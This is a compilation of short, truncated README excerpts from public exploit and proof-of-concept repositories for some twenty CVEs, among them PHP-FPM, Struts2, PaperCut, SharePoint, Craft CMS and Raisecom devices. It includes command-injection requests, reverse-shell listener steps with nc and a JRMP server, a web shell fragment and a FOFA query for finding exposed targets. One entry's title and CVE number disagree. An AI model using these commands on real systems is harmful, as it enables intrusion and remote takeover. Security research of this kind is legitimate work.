CVE-2019-11043-Docker

一个包含易受攻击版本PHP-FPM CVE-2019-11043 和 nginx 的 Docker 镜像。 运行 docker run --rm -p8080:80 akamajoris/cve-2019-11043 你应该能够通过 http://your-ip:8080/ 访问该 Web 应用程序。 利用 从 https://github.com/neex/phuip-fpizdam 构建一个二进制文件，然后 root@debian:/gopath/bin curl "localhost:8080/?a=/bin/sh+-c+'which+which'" 1...

PIL-CVE-2017-8291

Python PIL 远程命令执行漏洞（GhostButt） 用于处理 Python 图像处理的 PIL（Pillow）模块，由于内部调用 GhostScript，受到 GhostButt 漏洞（CVE-2017-8291）的影响，导致远程命令执行漏洞。 漏洞简介 PIL 内部根据图片头部（Magic Bytes）判断图片类型，如果发现是 EPS 文件（文件头为 %!PS），则分发到 PIL/EpsImagePlugin.py 进行处理。 在该模块中，PIL 调用系统的 gs 命令，也就是 GhostScript，来处理图片文件： command = "gs", "-q", quiet...

CVE-2019-3719

Dell SupportAssist RCE 概念验证 这是 CVE-2019-3719 的概念验证源代码，该漏洞影响绝大多数 Dell 机型，可允许远程代码执行。 用法 python3 main.py Interface Name Victim IP Gateway IP Payload Filename...

CVE-2023-27350

CVE-2023-27350 影响 PaperCut MF/NG 的 CVE-2023-27350 概念验证代码 技术分析 关于漏洞的技术根本原因分析、入侵指标以及互联网暴露情况，可查阅我们的博客： https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise 摘要 该概念验证代码利用认证绕过漏洞，并结合滥用内置脚本功能来执行代码。 使用方法 python3 CVE-2023-27350.py --url 'http://10.0.40.56:9191' --command...

MS15-034

MS15-034 MS15-034 POC La versión actual del servidor IIS es una versión vulnerable que contiene la vulnerabilidad conocida CVE-2015-1635, MS15-034. Al explotar esta vulnerabilidad, existe el riesgo de sufrir ataques como ejecución remota de código o provocar una pantalla azul. Sintaxis de prueba:...

CVE-2026-58025

CVE-2026-58025 — 通过日志条目导入实现 MediaWiki PHP 反序列化 RCE WikiImporter → LogEntryBase::extractParams → unserialize 用户可控的 logparams → RCE 概述 CVE-2026-58025 是 MediaWiki （维基媒体基金会）中的一个严重（CVSS 9.8）不受信任数据反序列化漏洞。LogEntryBase::extractParams 方法在用户可控的日志条目参数上调用 unserialize，且未限制可实例化的 PHP 类。拥有 importupload 或 import...

CVE-2023-45185

CVE-2023-45184 IBM i Access Client Solutions jrmp.bin ┌──mkubiak㉿localhost-/tmp/mkubiak └─$ sleep 3; cat jrmp.bin | nat -6 ::1...

CVE-2021-26295

CVE-2021-26295 CVE-2021-26295 EXP 可成功反弹Shell 本文以及工具仅限技术分享，严禁用于非法用途，否则产生的一切后果自行承担。 触发命令执行EXP 1. VPS启动RMI监听 9999 端口 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 '要执行的命令' 2. VPS启动nc监听 64444 端口 nc -lvp 64444 3. 执行python脚本 python3 cve-2021-26295exp.py 示例...

CVE-2024-38063-poc

Real POC 已发布 https://github.com/ynwarcs/CVE-2024-38063，我也已在代码中更新。这可能导致系统崩溃，请使用虚拟机或仅用于学习，你也可以通过修改代码实现 RCE。 使用说明 iface 很可能默认已启用。 查看 CVE-2024-38063-poc.py 获取更多信息。 发现者 https://x.com/XiaoWei 代码/POC 功劳 = @ynwarcs 谢谢！ Chirag Artani...

struts2_cve-2017-5638

struts2cve-2017-5638 这是一个对 Python 漏洞利用代码的 Java 移植版本，原代码位于：https://www.exploit-db.com/exploits/41570/。 该软件编写为无外部依赖。 免责声明 此工具仅供安全工程师和应用程序安全人员用于安全评估。请负责任地使用此工具。本人不对任何人使用此应用程序的方式承担责任。对于因使用此工具造成的任何损害或引发的任何犯罪，本人概不负责。 漏洞信息 CVE-ID ：CVE-2017-5638 链接 ：https://vulners.com/cve/CVE-2017-5638 描述 ：Apache Struts...

CVE-2019-0604

一、解说k8gege的cve-2019-0604-exp.py k8gege的脚本 https://github.com/k8gege/CVE-2019-0604 老实说k8gege的py脚本有点花哨，一大堆的16进制字符串，分成 payload1,2,3, 好坏呀 python脚本远程post的payload,反序列化之后是一个xml数据体 cmd /c echo ^%@ Page Language="Jscript" %^^%var pwd="tom";var uastr=Request.UserAgent;if uastr.Substring0,...

CVE-2022-24112

Apache APISIX 2.12.x 远程代码执行 RCE 漏洞利用 此 Python 脚本是 Apache APISIX 2.12.0 和 2.12.1 版本中远程代码执行漏洞的概念验证 PoC。 该漏洞源于管理 API 中 filterfunc Lua 字段的误用，允许攻击者注入任意 Lua 代码，通过 io.popen 执行系统命令。命令的响应将通过 ngx.say 在 HTTP 响应中返回。 ⚠️ 免责声明 ：此工具仅用于授权测试和教育目的。请勿在您不拥有或未获得明确测试许可的系统上使用。 🧰 环境要求 Python 3.6+ requests 库 pip install...

Craft-CMS-Exploit

此 Python 脚本利用了 Craft CMS（一款流行的内容管理系统）的远程代码执行漏洞（CVE-2023-41892）。受影响版本为 4.0.0-RC1 至 4.4.14，允许攻击者远程执行任意代码，例如 PHP 反向 Shell。 使用方法 首先在另一个 shell 中启动 netcat 监听器： nc -nlvp 1234 然后检查您的 IP 地址并运行漏洞利用程序： python3 exploit.py -r 10.10.16.47 -p 1234 http://surveillance.htb 祝您使用全新的反向 Shell 愉快地进行渗透！ 免责声明...

CVE-2024-7120

Raisecom 设备命令注入 CVE-2024-7120 概念验证！ 概述 已在 RAISECOM 网关设备中发现一个命令注入漏洞，影响型号 MSG1200、MSG2100E、MSG2200 和 MSG2300。该漏洞允许远程攻击者通过 Web 界面在系统上执行任意命令。问题存在于 listbaseconfig.php 脚本中，具体通过 template 参数触发，影响互联网上超过 25,112 台设备。 ✔ FOFA : title="web user login" && body="" 受影响设备 硬件 RAISECOM 网关型号...

CVE-2021-34473

CVE-2021-34473 CVE-2021-34473 Microsoft Exchange Server 远程代码执行漏洞 复现 ProxyShell 漏洞利用 https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/ 这不是你的网络武器，只是一个实验性 PoC...

CVE-2022-26134

pip3 install -r requirements.txt 使用: python3 exp.py url "cmd" 示例: python3 exp.py http://192.168.1.1/ whoami...

CVE-2017-10271

CVE-2017-10271 Weblogic wls-wsat组件反序列化漏洞CVE-2017-10271检测脚本 用法 $ python CVE-2017-10271 url 另外需要注册一个ceye.io的账号，将其提供的Identifier及API Token填入代码的如下部分： 功能 检测Windows及Linux环境下Weblogic是否存在CVE-2017-10271的远程命令执行漏洞 目前仅在Linux环境下测试过 Windows及Linux环境下均测试有效 检测原理 使用ceye.io提供的DNS...

CVE-2021-1732-EXP-

Este repositorio no tiene un README...

PoC-CVE-2026-20841

PoC CVE-2026-20841 描述 本项目是一个关于 Windows 记事本“远程代码执行”漏洞的简单概念验证（PoC）。 攻击者能够构建一个特殊的 .md 文件，并通过社会工程学手段诱骗用户点击该 .md 文件中的链接。 要求 记事本版本 11.2510 用户已通过社会工程学手段下载了 poc.md 文件。 作为用户 一旦 poc.md 被下载，我们便按顺序依次点击其中的链接。 第一行下载 PoC.exe，该文件是在之前的仓库中制作的。 第二行打开刚刚下载的 PoC.exe。...

BluetoothDucky

BluetoothDucky CVE-2023-45866 - BluetoothDucky 实现（使用 DuckyScript） 未认证的蓝牙远程代码执行。（简而言之，无需与目标设备配对即可执行键盘命令） 这是 marcnewlin 发现的 CVE 的一个实现 https://github.com/marcnewlin/himynameiskeyboard 我创建了一个 duckyconvert.py，以便尽可能少地修改 hid.py 文件，方便将来使用。 仍在为它构思一些 payload 思路。 我使用树莓派 4...